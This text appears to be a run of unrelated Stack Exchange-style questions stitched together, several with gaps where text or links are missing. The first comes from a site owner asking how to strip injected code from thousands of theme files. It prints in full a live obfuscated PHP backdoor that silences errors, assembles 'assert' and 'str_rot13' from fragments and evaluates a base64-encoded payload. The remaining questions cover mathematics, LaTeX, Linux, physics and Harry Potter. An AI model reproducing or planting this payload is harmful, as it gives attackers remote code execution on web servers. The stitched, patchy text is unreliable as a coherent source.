I have a server with thousands of files containing a multi-line pattern that I want to globally find &amp; replace.   Here's a sample of the pattern:  &lt;div class="fusion-header-sticky-height"&gt;&lt;/div&gt; &lt;div class="fusion-header"&gt;         &lt;div class="fusion-row"&gt;                 &lt;?php avada_logo(); ?&gt;                 &lt;?php avada_main_menu(); ?&gt;         &lt;/div&gt; &lt;/div&gt;   &lt;?php //###=CACHE START=### @error_reporting(E_ALL); @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); @error_reporting(0); $wa = ASSERT_WARNING; @assert_options(ASSERT_ACTIVE, 1); @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1);  $strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light); //###=CACHE END=### ?&gt;   I've tried various methods to find and replace this string but its multiline nature has got me stumped. I've looked around extensively (over a day of searching) and the solutions I've found can't handle the multi-line nature of this.  Any assistance would be most welcome.    UPDATE  I've got a solution now, largely thanks to the accepted answer.   Others facing something similar should .
My server had been infected and the attacker spread a bunch of .5randomletters folders around my file system, with malicious code inside of them. I want to search for all the folders that begin with a dot, review them and then remove them.  How can I do that?
Changing footnote symbols Each number in a subset $S\subseteq \{1,\ldots,2n\}$ does not divide another one. Then $\max |S|$? This problem comes from a seemingly innocuous question from a professor during a lesson for a Math Olympiad course. [A part of this question is really a classic of number theory/combinatorics]  Problem: Let $S$ be a a non-empty subset of $\{1,2,\ldots,2n\}$. It is clear that if $|S|$ is "enough large" then, independently from the choice of $S$, there are for sure some distinct $a,b \in S$ such that $a$ divides $b$.  Then, what is the maximal $k$ such that, for some $S$ with cardinality $k$, if $a,b$ are distinct members of $S$ then $a$ does not divide $b$?  [Ps. I know the solution] How can I play sound in Java? I want to be able to play sound files in my program. Where should I look? Fundamental Theorem of Calculus. Fundamental Theorem of Calculus says  Let $f$ be an integrable function on $[a,b].$ For $x$ in $[a,b],$  let $F(x)=\int_{a}^{x}f(t)dt.$ Then $F$ is continuous on $[a,b].$ If $f$ is continuous at $x_{0}$ in $(a,b),$ then $F$ is differentiable at $x_{0}$ and $F^{'}(x_{0})=f(x_{0}).$  Now my question is why we are saying that this is "Fundamental Theorem of whole Calculus".  It is clear that it connects intergal and differential calculus. But i am not getting the exact concept, why this is so important as its name is fundamental theorem of calculus. Why we says that it is fundamental theorem of calculus?  Please suggest me. Thanks in advance. How to align checkboxes and their labels consistently cross-browsers Bring a window to the front in WPF Print total free memory from `free -m` Where do I find the client id and client secret of an existing connected app? Is it true that for algebraic sets $V,W$ we have $I(V \times W ) =I(V) + I(W)$? What's the difference between the nvidia-current, and nvidia-current-updates packages? What's the difference between the , and  packages?  The former has a higher version number, and the description of the packages are the same.    Which do I use? Which is the most recent one What's the purpose of this split packaging? Adobe Reader and xcolor within a table breaks the line render I'm using the xcolor package to colour the top row in a table. This is displayed properly using PDF viewers such as Preview or Skim (Mac). But using Adobe Reader 10.1.3 (either Windows or Mac) doesn't display the table line properly.   But removing the colouring for the table fixes it. Here is the example that works as expected:  \begin{table} \caption{Table showing Feature 5's Functional Tests} \hspace*{-0.5in} \begin{tabular}[h!]{|p{0.6cm}|p{4cm}|p{5cm}|p{4cm}|p{1.5cm}|} \hline {\bf Test ID } &amp; {\bf Task } &amp; {\bf Expected} &amp; {\bf Actual} &amp; {\bf Outcome} \\ \hline    5.1 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline    5.2 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline    5.3 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline    5.4 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline \end{tabular}  \end{table}   And here is the example with a coloured row:  \begin{table} \caption{Table showing Feature 5's Functional Tests} \hspace*{-0.5in} \begin{tabular}[h!]{|p{0.6cm}|p{4cm}|p{5cm}|p{4cm}|p{1.5cm}|} \hline \rowcolor{gray!25} {\bf Test ID } &amp; {\bf Task } &amp; {\bf Expected} &amp; {\bf Actual} &amp; {\bf Outcome} \\ \hline    5.1 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline    5.2 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline    5.3 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline    5.4 &amp; Something &amp;  Something &amp; Something &amp;  Success \\ \hline \end{tabular}  \end{table}   Removing the \rowcolor{} command replacing it with \cellcolor{} creates the same view. Any idea how to fix this?  I've tried printing it out of Adobe and the lines print fine, but as this will be read on as a soft copy it's pretty important. .  Any idea how to fix this? Journal vs conference publications when looking for a job in in computer science I'm currently a post doc in theoretical computer science and I have a double digit number of conference publications, about half of which are at so called "tier 1" conferences (SODA,STOC,...). Unfortunately I only have 1 journal publication so far, mainly due to coauthors dragging their feet.   Will the lack of journal publications have a great impact when applying for a faculty job in cs-theory at some point, and is it advisable to try to up this number before applying? Or is this fully compensated by having sufficiently many conference papers? Why does Venus spin in the opposite direction? Given: Law of Conservation of Angular Momentum.   Reverse spinning with dense atmosphere (92 times > Earth &amp; CO2 dominant sulphur based). Surface same degree of aging all over. Hypothetical large impact is not a sufficient answer.   Assuming any object large enough to alter a planets rotation or even orbit would likely destroy most of its shape, yet Venus has retained a spherical property with a seemingly flat, even terrain indicating no volcanoes,and few if any visible meteor impacts. It would be fragmented and dispersed for billions of years.  Even the question of what meteor, comet, asteroid composition could survive traveling that close to the sun's temperature, radiation, electromagnetic energy, solar flares, or gravity to equal a mass reactionary change as to alter it's spin. In the first book, Harry sees his Gringotts vault for the first time.  (Quotes thanks to Slytherincess!)     Griphook unlocked the door. A lot of green smoke came billowing out, and as it cleared, Harry gasped. Inside were mounds of gold coins. Columns of silver. Heaps of little bronze Knuts.      "All yours," smiled Hagrid.      All Harry's -- it was incredible. The Dursleys couldn't have known about this or they'd have had it from him faster than blinking. How often had they complained how much Harry cost them to keep? And all the time there had been a small fortune belonging to him, buried deep under London.      Hagrid helped Harry pile some of it into a bag. "The gold ones are Galleons," he explained. "Seventeen silver Sickles to a Galleon and twenty-nine Knuts to a Sickle, it's easy enough. Right, that should be enough fer a couple o' terms, we'll keep the rest safe for yeh."      Harry Potter and the Sorcerer's Stone - pages 58-59 - US Hardcover Edition   Jk Rowling posts in the Harry Potter Lexicon      JKR has stated in an interview (Comic Relief 2001) that she estimates the value of one Galleon to be "about five pounds," which works out to around US$9.75 (the exchange rate at the time of the interview was US$7.33). In the introduction to both QA and FB, US$250-million is stated to be the equivelent of 34 million Galleons. That also works out to a value of £5 to the Galleon, at the exchange rate of the time. The price listed on the back of the books, however, is not correct, since US$3.99 would equal less than half a British pound, or 8 sickles and 15 knuts. The book instead incorrectly lists US$3.99 as being equal to 14 sickles and 3 knuts. (Unfortunately, CNN.com uses this incorrect value for their Knuts-to-dollars converter.)      This gives us approximate values as follows:      1 bronze Knut = £0.01 (US about 2 cents)      1 silver Sickle = £0.29 (about US$0.57)      1 Galleon = £5.00 (more or less US$9.75)      These rates vary as the exchange rate fluctuates - see the Wizarding World Currency Converter for the current rate.   Now looking at the quote      Hagrid helped Harry pile some of it into a bag.   and     Right, that should be enough fer a couple o' terms, we'll keep the rest safe for yeh.   Obviously "some" is unspecified, but presuming the costs of ...     Typical elementary-school textbooks cost more than $100 each   He would be carrying at least 10 galleons for each school book, and going by the list of books just for his first year,  (Thanks Ibid!)     COURSE BOOKS      All students should have a copy of each of the following:         The Standard Book of Spells (Grade 1) by Miranda Goshawk   A History of Magic by Bathilda Bagshot   Magical Theory by Adalbert Waffling   A Beginners’ Guide to Transfiguration by Emeric Switch   One Thousand Magical Herbs and Fungi by Phyllida Spore   Magical Drafts and Potions by Arsenius Jigger   Fantastic Beasts and Where to Find Them by Newt Scamander   The Dark Forces: A Guide to Self-Protection by Quentin Trimble         (Harry Potter and Philospher's Stone, Chapter 5)   That's 80 Galleons just for books. This does not include the list of other expenses Harry has for his school years (wand, potion reagents, etc.)  How many Galleons is "some" or is Diagon Alley selling supplies for third world prices?  Sidenote, is this just a case of bad JK maths? Run a command without making me wait On the CLI, sometimes a command I type takes a while to complete, and sometimes I know when that's about to happen. I'm a bit confused on "backgrounding" and such in Linux.  What is the most common (or user-friendly way) of telling the CLI that I don't want to wait, please give me back my prompt immediately. And if it could give me a progress bar or just busy-spinner, that would be great! Reputation has been changed but not reflected on tooltip. Multiple bibliographies (reference lists) using embedded bibliography database I would like to have multiple bibliographies (reference lists) as described in   ().   However, I'd like to use with a single .tex file, which would contain the bibliography database embedded, as in  ...   Now, I want to use letter documentclass, for which the bibliography needs to be defined ()   So what I end up is with this example (code below, compiled with just pdflatex, no bibtex(which I'd like to avoid in this case)):     ... obviously, something works (multibib recognized primary and secondary cites, assigning them number "1" as start) -- however I don't get two, separate primary and secondary list of references; would that be possible in this context? (doesn't have to be with multibib, but I'd like to avoid a separate .bib file and a bibtex call)  EDIT: I'd also like separate cite keys (i.e. rendered as [a1] and [b1]; not yet sure if multibib can do that; edit: no it cant,  says "You can also edit the .bbl files created by BibTEX and add 'a', 'b',. . . to the labels, but your changes will be overwritten by subsequent BibTEX runs." and recommends \cite[a]{key}) - how possible would that be?  &nbsp;  The code is this:   \documentclass{letter}  % Environment thebibliography undefined when using letter: http://www.latex-community.org/forum/viewtopic.php?f=4&amp;t=3359 \makeatletter \setlength \labelsep {.5em} \newcommand\newblock{\hskip   .11em\@plus.33em\@minus.07em} \let\@openbib@code\@empty \newcommand\refname{References} \newcommand\section{\@startsection   {section}{1}{\z@}%   {-3.5ex \@plus -1ex \@minus -.2ex}%   {2.3ex \@plus.2ex}%   {\normalfont\Large\bfseries}} \newenvironment{thebibliography}[1] {\section*{\refname}%   \@mkboth{\MakeUppercase\refname}{\MakeUppercase\refname}%   \list{\@biblabel{\@arabic\c@enumiv}}%   {\settowidth\labelwidth{\@biblabel{#1}}%     \leftmargin\labelwidth \advance\leftmargin\labelsep \@openbib@code     \usecounter{enumiv}%     \let\p@enumiv\@empty \renewcommand\theenumiv{\@arabic\c@enumiv}}%   \sloppy \clubpenalty4000 \@clubpenalty \clubpenalty   \widowpenalty4000%   \sfcode`\.\@m} {\def\@noitemerr {\@latex@warning{Empty       `thebibliography' environment}}%       \endlist} \makeatother  \usepackage{multibib} \newcites{pri}{Primary sources} \newcites{sec}{Secondary sources}  \begin{document}   \begin{letter}{Addressee} Blah, blah - content...  Primary cite: \citepri{lamport94} ...  Secondary cite: \citesec{lamport94} ...   \begin{thebibliography}{9}  \bibitem{lamport94}   Leslie Lamport,   \emph{\LaTeX: A Document Preparation System}.   Addison Wesley, Massachusetts,   2nd Edition,   1994.  \bibitem{lamport95}   Leslie Lamport,   \emph{\LaTeX: A Document Preparation System}.   Addison Wesley, Massachusetts,   2nd Edition,   1995.  \end{thebibliography}  \end{letter}   \end{document} How can I obtain an 'unbalanced' grid of ggplots? What prevents photons from getting mass from higher order Feynman diagrams The Higgs boson and gluons have no electric charge and photons couple to charge, so there is no tree level interaction between them and photons.  But what prevents higher order diagrams from contributing a non-zero mass term to the photon, for instance    where a photon couples to some fermion (say an electron, or a top quark) which can interact with the Higgs field.   Or consider that same diagram but with quarks and a gluon interacting between them? Or any higher diagram with even more loops?  I have heard charge conservation depends on gauge invariance, which in turn depends on photons being massless.  So it appears the photon has no mass, and these diagrams must all cancel somehow.  So I'm hoping there is a very nice symmetry explanation for why they all disappear, but if I say "because of gauge invariance" that would be circular logic, so there must be another symmetry at stake here?     What prevents photons from obtaining a mass from high-order self-energy loop diagrams? Filesystem shows /dev/nvme0n1p1 instead of /dev/sda I installed a dual boot of Ubuntu 16.04 (Windows being my other OS) two months ago to try it out. I want to allot more space to it on my hard drive. I was looking up tutorials, and I noticed that my filesystem names don't look anything like those in the tutorials. For example:  df -h   outputs:    How would I allot more space to Ubuntu (in layman's terms)?